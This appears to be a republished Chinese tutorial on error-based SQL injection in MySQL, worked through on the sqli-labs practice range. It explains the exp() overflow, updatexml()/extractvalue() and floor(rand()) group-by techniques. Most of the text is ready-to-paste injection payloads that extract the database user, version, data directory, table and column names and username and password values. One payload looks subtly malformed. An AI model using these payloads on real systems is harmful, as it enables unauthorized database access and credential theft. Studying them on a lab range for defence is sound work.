最详细的SQL注入之报错注入
Posted 真珠柚子
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了最详细的SQL注入之报错注入相关的知识,希望对你有一定的参考价值。
结合靶场sql-lab-master less-6 实验环境总结SQL注入之报错注入
首先判断闭合方式:
测试?id=1"时报错:
去掉我们输入的1" 可以看到后面还有一个" 所以闭合方式为"
输入?id=1" --+ 页面只显示一行 you are in.......
无法判断显示位 但页面会根据我们输入错误的SQL语法而报错,所以采用报错注入的方法解决这一关
什么是报错注入?
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
报错注入的种类?
1.BigInt数据类型溢出
2.函数参数格式错误
3.主键冲突(重复)
BigInt数据类型溢出:(此题不适用)
exp(int)函数返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错:"DOUBLE value is out of range"
例:
?id=1" and exp(~(select * from (select user())a)) --+
先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a
然后在查询select * from a 查询a,将结果集a全部查询出来
查询完成,语句成功执行,返回值为0,再取反(~按位取反运算符),exp调用的时候e的那个数的次方,就会造成BigInt大数据类型溢出,就会报错
payload:
获取表名:
?id=1" and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) --+
获取列名:
?id=1" and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) --+
获取列名对应信息:
?id=1" and exp(~(select * from(select username from 'users' limit 0,1))) --+
适用mysql数据库版本是:5.5.5~5.5.49
除了exp()函数之外,pow()之类的相似函数同样可以利用BigInt数据溢出的方式进行报错注入
函数参数格式错误:
两个重要函数:updatexml() extractvalue ()
我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:Xpath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
查询当前数据库的用户信息以及数据库版本信息:
?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+
获取当前数据库下数据表信息:
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
获取users表名的列名信息:
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+
获取users数据表下username、password两列名的用户字段信息:
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
extractvalue()函数语法:extractvalue(XML_document,XPath_string)
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
获取当前位置所用数据库的位置:
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+
获取表名:
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
获取users表的列名:
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
获取对应的列名的信息(username/password):
?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
主键冲突(重复):(待我继续学习继续补充payload)
主键重复方式的报错注入利用的函数有: floor() + rand() + group() + count()
利用 select count(*),(floor(rand(0)*2)) x from users group by x
这个相对固定的语句格式,导致的数据库报错
理解rand函数
rand()是一个随机函数,通过一个固定的随机数的种子0之后,产生大于等于0小于1的伪随机序列
理解floor(rand(0)*2)
floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整。
floor(rand(0)*2)
得到伪随机数列011011
因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1的顺序。
理解group by
group by进行分组排序相同名字合并
最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值
理解count()函数:
对a中的重复性的数据进行了整合,然后计数,后面的x就是每一类的数量。
报错原因分析:
select count(*),(floor(rand(0)*2)) x from users group by x
group by函数的工作过程:
group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
执行floor(rand(0)*2)=0(第一次),0不存在于临时表中,再次计算floor(rand(0)*2)=1(第二次),1
不存在于临时表中,再次计算floor(rand(0)*2)=1(第三次)
操作 | key | floor(rand(0)*2) | count(*) |
插入一条记录 | 0 | ||
插入2条记录 | 1 | 1 | 2 |
执行floor(rand(0)*2)=0(第4次),0不存在于临时表中,再次计算floor(rand(0)*2)=1(第5次),
1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以就产生了主键冲突的错误.
payload:
?id=1" and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
SQL注入之报错注入(floorextractvalueupdatexml)
一、报错注入分类
floor()报错注入
extractvalu()报错注入
updatexml()报错注入
name_const()报错注入
jion()报错注入
exp()报错注入
还有很多,此处就讲前三个。
二、涉及到的函数
concat:返回结果为连接参数产生的字符串
例如:concat(~,(hello world))
就会返回 ~hello word
三、什么是报错注入
报错注入是一种页面响应方式。响应流程如下:
简单理解为:用户访问服务器发送id信息,服务器返回正确的id数据。
用户发送错误信息,服务器返回报错提示。
构造查询语句,让错误信息中夹杂可以显示数据库内容的查询语句。从而放会报错提示中包含数据库中的内容。
四、现象(sql-labs靶场less5)(字符型)
可见,正确显示You are in....
错误,回显错误信息。
五、通过写错单词报错出数据库名
(less5字符型,字段数为3)
通过写错,database(),报错,从而回显数据库名。
六、extractvalue()报错注入
函数extractvalue()包含两个参数
extractvalue(XML_document,XPath_string)
第一个参数XML文档对象名称(笔者理解为文件名)第二个为查询文件的路径
文件路径:基本都以 / 开头 。
所以extractvalue(),第二参数(路径)以 ~ 符号开头,就会使其报错。
a、实操
一、查数据库名
/?id=5' and extractvalue(1,concat('~',(select database()))) --+
二、查表名
/?id=5' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1))) --+
使用group_concat()报出全部表。
?id=5' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
接着后面都差不都。
七、updatexml()报错注入
a、updatexml函数
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
第一个参数:XML_document是string格式,为XML文档对象的名称,列入Doc
第二参数:XPath_string是路径,XPath格式的字符串。
第三个参数:new_value,string格式,替换查找到的符合条件的数据
b、updatexml倒错原理
通extractvalue(),输入错误的第二个参数,即路径错误(把 / 缓存 ~)
c、实操
一、查数据库
?id=1' and updatexml(1,concat('~',(select database())),3) --+
二、表名
?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1)),3) --+
使用group_concat()全部爆出
后面一样。
8、floor报错注入
a、涉及到的函数
rand()函数:随机返回0~1间的小数
floor()函数:小数向下取整数。向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来(和concat差不多)
group by:分组语句,常用于结合统计函数,根据一个或多列,对结果进行整合
as:别名
count函数:汇总统计数量
limit:这里用于显示指定行数
b、rand()
>select rand();
>select rand()*2
计算结果在0-2之间
>select rand() from users; (users表有多少列,就输出几个随机数)
c、floor()函数:小数向下取整
>select floor(rand()*2);
>select floor(rand()*2) from information_schema.tables;
d、concat_ws()函数:将括号内数据用第一个字段连起来
>select concat_ws('~',2,3) 使用~连接2,3
> select concat_ws('~',(select database()),floor(rand()*2)) from users;
e、as 别名 group by 分组
>select concat_ws('~',(select database()),floor(rand()*2)) as a from users group by a;
把绿色部分取一个别名 a ,在使用group by 对a进行分组
f、count(*) 统计数量
但是多执行几次,可能会报错。
>select concat_ws('~',(select database()),floor(rand(0)*2)) as a from users group by a;
不管执行多次报错
>select concat_ws('~',(select database()),floor(rand(1)*2)) as a from users group by a;
永久不会报错,回显也不会变
f、流程
数据库
?id=1' union select 1,count(*),concat_ws('~',(select database()),floor(rand(0)*2)) as a from information_schema.tables group by a--+
表名
/?id=1' union select 1,count(*),concat_ws('~',(select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a--+
后面列名、字段名都一样。
以上是关于最详细的SQL注入之报错注入的主要内容,如果未能解决你的问题,请参考以下文章